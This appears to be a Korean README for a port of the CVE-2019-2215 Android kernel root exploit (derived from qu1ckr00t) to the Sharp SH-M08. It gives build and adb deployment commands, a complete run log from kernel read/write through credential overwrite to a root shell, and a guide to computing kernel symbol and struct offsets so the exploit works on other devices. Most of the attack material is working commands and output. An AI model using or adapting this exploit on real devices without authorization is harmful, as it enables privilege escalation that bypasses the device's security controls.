
2019년 10월 이전의 보안 패치가 적용된 Android 단말기에서 root 권한을 획득하는 개념 증명 코드의 AQUOS sense 2(SH-M08) 포팅 버전입니다.
다음 OS 버전에서 동작을 확인했습니다. 다른 버전이나 다른 기기에서 실행하려면 '포팅 방법' 장에 따라 포팅하십시오.
[ro.build.date]: [2019年 3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5B01.00.02%5D
[ro.build.fingerprint]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BSHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys%5D
[ro.build.id]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BS3200%5D
[ro.build.product]: https://raw.githubusercontent.com/mouseos/cve-2019-2215_sh-m08/HEAD/%5BAnasui%5D
aarch64-linux-android21-clang -pie poc.c -o poc
$ adb push poc /data/local/tmp
$ adb shell
SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...|
00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff |.........5>Z....|
00000080 70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff |p%.......%......|
00000090 78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00 |x>..............|
000000a0 00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00 |................|
000000b0 e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff |.........>......|
000000c0 88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000 19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................|
00000010 d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00 |................|
00000020 d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff |...........6....|
00000080 80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff |.........%......|
00000090 80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00 |.@..............|
00000000 00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
init->security_cred
00000000 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
current->security_cred
00000000 ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00 |....?.......?...|
00000040 ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00 |....?...........|
00000050 00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff |...........6....|
00000080 80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff |.........%......|
00000090 80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000c0 c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00 |.@..............|
Spawning shell!
SH-M08:/ #
현재 기기에서 실행 중인 커널을 확보합니다. 방법은 다음 두 가지입니다.
$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing
{각 오프셋 값}-{_head 값}
예를 들어 위의 경우 상수는 다음과 같습니다.#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0
#define SYMBOL__selinux_enforcing 0x1D62000
$ pahole -C task_struct vmlinux | grep -E ' mm;'
struct mm_struct * mm; /* 1336 8 */
1336을 16진수로 변환하면 0x538입니다.
따라서 #define OFFSET__task_struct__mm 0x538
$ pahole -C task_struct vmlinux | grep -E ' cred;'
const struct cred * cred; /* 1944 8 */
1944를 16진수로 변환하면 0x798입니다.
따라서 #define OFFSET__task_struct__cred 0x798
$ pahole -C mm_struct vmlinux | grep ' user_ns;'
struct user_namespace * user_ns; /* 752 8 */
752를 16진수로 변환하면 0x2f0입니다.
따라서 #define OFFSET__mm_struct__user_ns 0x2F0
$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.
vmlinux에 pahole로 분석하는 데 필요한 정보가 들어 있지 않습니다. 이 경우 분석이 불가능하므로, 직접 빌드한 제조사가 공개한 커널을 사용하십시오.
어딘가의 오프셋이 잘못되었습니다.
보안 패치가 2019년 10월 이후인 OS에서는 동작하지 않습니다.
이 코드는 Grant H 씨가 작성한 POC를 기반으로 개발되었습니다. https://github.com/grant-h/qu1ckr00t
| 상수명 | 오프셋 값 | 오프셋 값-_head 값 |
|---|
| SYMBOL__init_user_ns | 0xffffff8009c225d8 | 0x1BA25D8 |
| SYMBOL__init_task | 0xffffff8009c16000 | 0x1B96000 |
| SYMBOL__init_uts_ns | 0xffffff8009c15dc0 | 0x1B95DC0 |
| SYMBOL__selinux_enforcing | 0xffffff8009de2000 | 0x1D62000 |